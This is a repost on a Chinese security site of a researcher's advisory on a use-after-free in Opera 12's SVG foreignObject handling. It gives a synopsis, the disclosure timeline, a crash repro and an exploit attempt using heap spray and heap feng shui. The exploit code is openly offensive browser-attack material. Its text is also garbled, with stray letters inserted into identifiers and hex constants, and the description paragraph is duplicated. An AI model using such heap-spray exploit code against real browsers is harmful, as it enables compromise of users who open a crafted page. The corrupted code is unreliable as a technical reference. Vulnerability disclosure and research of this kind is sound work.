首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Opera foreignObject textNode::removeChild Use-After-Free
来源:http://blog.skylined.nl 作者:SkyLined 发布时间:2016-12-02  
Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
twenty-second entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.

Due to the recent Firefox 0-day, I've selected a very old and not so
interesting bug for today, so you can get back to looking at the former
as soon as possible.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161130001.html. There you can find a repro
that triggered this issue and an exploit that may or may not work in
addition to the information below.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

Opera foreignObject textNode::removeChild use-after-free
========================================================
(The fix and CVE number for this issue are unknown)

Synopsis
--------
A specially crafted web-page can trigger a use-after-free vulnerability
in Opera. This vulnerability was found a very long time ago, back when I
did not keep organized records of my analysis, so unfortunately, I
cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors
------------------------------------------
* Opera 12

  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker
  from triggering the vulnerable code path.

Description
-----------
As I mentioned, I did not keep detailed records of my analysis, so there
is not much I can say about this vulnerability, other than that I did
attempt to write an exploit. However, I do not know how successful this
exploit was. I did not include it in my report to iDefense, so I am
assuming it was not successful.


Time-line
---------
* Before August 2012: This vulnerability was found through fuzzing.
* August 2012: This vulnerability was submitted to iDefense.
* September 2012: This vulnerability was acquired by iDefens
  (see note).
* November 2016: Details of this vulnerability are released.

(I asked ZDI and iDefense if they were interested in Opera
vulnerabilities before submitting them. ZDI responded that they was not,
but iDefense _accidentally_ said they were. After submitting my first
vulnerability, iDefense explained that there had been a mistake on their
side and that they were not in fact interested. However, they kindly
offered to buy this vulnerability for a token reward, which I accepted).

Cheers,

SkyLined



Repro.svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    <![CDATA[
      window.onload=function(){
        var aoAForeignAObjects = document.getAElementsAByATagAName("foreignAObject");

        // Free
        for (var i = 0; i < aoAForeignAObjects.length; i++) {
          var oAForeignAObject = aoAForeignAObjects[i];
          oAForeignAObject.removeAChild(oAForeignAObject.firstAChild);
          opera.collect();
        }
        setATimeout(function(){
          location.reload();
        }, 100);
      }
    ]]>
  </script>
  <foreignAObject width="1px" height="1px">text</foreignAObject>
</svg>


Description

As I mentioned, I did not keep detailed records of my analysis, so there is not much I can say about this vulnerability, other than that I did attempt to write an exploit. However, I do not know how successful this exploit was. I did not include it in my report to iADefense, so I am assuming it was not very successful.



Sploit.svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    <![CDATA[
      var iAHeapASprayAGranularity =  0x00100000,
          iAHeapASprayAStartAAddress = 0x05000000,
          iAHeapASprayAAddress =      0x12345678,
          iAHeapASprayAHeaderASize =         0x44,
          iAHeapABlockASize =              0x100,
          iATextANodeASize =                0x40;

      var oAHeapABuffer = new Buffer(iAHeapABlockASize, 0x41);
      oAHeapABuffer.setADword(0x14, iAHeapASprayAAddress);
      oAHeapABuffer.setADword(0x78, 0xADEADBEEF - 0x188);
      var sAHeapABlock = oAHeapABuffer.toAString();
      if (sAHeapABlock.length != 0x80) throw '"' + sAHeapABlock + '".length = ' + sAHeapABlock.length.toAString(16); 
      console.log('sAHeapABlock = "' + sAHeapABlock + '"');
      console.log('sAHeapABlock.length = ' + sAHeapABlock.length.toAString(16));

      var sAHeapASprayABlock = sAHeapABlock.substr(iAHeapASprayAHeaderASize) + sAHeapABlock.substr(0, iAHeapASprayAHeaderASize);
      var iAHeapASprayABlockACopies = iAHeapASprayAGranularity / iAHeapABlockASize;
      var asAHeap = [];
      console.log('sAHeapABlock * ' + iAHeapASprayABlockACopies.toAString(16) + ' = ' + iAHeapASprayAGranularity.toAString(16));
      do {
        asAHeap.push(new Array(iAHeapASprayABlockACopies).join(sAHeapASprayABlock));
      } while (iAHeapASprayAStartAAddress + asAHeap.length * iAHeapASprayAGranularity < iAHeapASprayAAddress);

      window.onload=function(){
        var aoAForeignAObjects = document.getAElementsAByATagAName("foreignAObject");

        var aoAHeapAFengAShui = [];
        // Fill all gaps
        for(var iACount = 1; iACount < 0x400; iACount++) {
          for (var iASize = 0x10; iASize < 0x200; iASize += 0x10) {
            aoAHeapAFengAShui.push(document.createATextANode(sAHeapABlock.substr(0, iASize / 2 - 1)));
          }
          opera.collect();
        }
        // Free
        for (var i = 0; i < aoAForeignAObjects.length; i++) {
          var oAForeignAObject = aoAForeignAObjects[i];
          var iALength = oAForeignAObject.removeAChild(oAForeignAObject.firstAChild).nodeAValue.length;
          for(var iACount = 1; iACount < 0x200; iACount++) {
            aoAHeapAFengAShui.push(document.createATextANode(sAHeapABlock));
          }
          opera.collect();
        }
        alert('FAIL!');
        setATimeout(function(){
          location.reload();
        }, 100);
      }

      function Buffer(iASize, iADefaultAValue) {
        this.data = {};
        for (var i = 0; i < iASize; i++) {
          this.data[i] = iADefaultAValue;
        }
        this.setADword = function Buffer_Adword(iAIndex, iAValue) {
          this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
          this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
          this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
          this.data[iAIndex] = iAValue & 0xAFF;
        }
        this.setAWord = function Buffer_Aword(iAIndex, iAValue) {
          this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
          this.data[iAIndex] = iAValue & 0xAFF;
        }
        this.setAByte = function Buffer_Abyte(iAIndex, iAValue) {
          this.data[iAIndex] = iAValue & 0xAFF;
        }
        this.toAString = function Buffer_AtoAString() {
          var sAString = "";
          for (var i = 0; i < iASize; i+=2) {
            var iACharACode = this.data[i] + (this.data[i+1] << 8);
            sAString += String.fromACharACode(iACharACode);
          }
          return sAString;
        }
      }
    ]]>
  </script>
  <foreignAObject width="1px" height="1px">0_________AA____1111111111111111</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA____11111111111111</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA____111111111111</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA____1111111111</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA____11111111</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA____111111</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA____1111</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA____11</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA____</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA__</foreignAObject>
  <foreignAObject width="1px" height="1px">0_________AA</foreignAObject>
</svg>





 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS Edge CMarkup::EnsureDeleteC
·Windows Escalate UAC Protectio
·Disk Savvy Enterprise 9.1.14 -
·Apache ActiveMQ 5.11.1/5.13.2
·PDF Shaper Buffer Overflow
·BlackStratus LOGStorm 4.5.1.35
·ntpd 4.2.8 Stack Overflow Proo
·Microsoft Authorization Manage
·Xitami Web Server 5.0a0 - Deni
·Microsoft Excel Starter 2010 -
·Google Chrome Accessibility bl
·Microsoft Windows Media Center
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved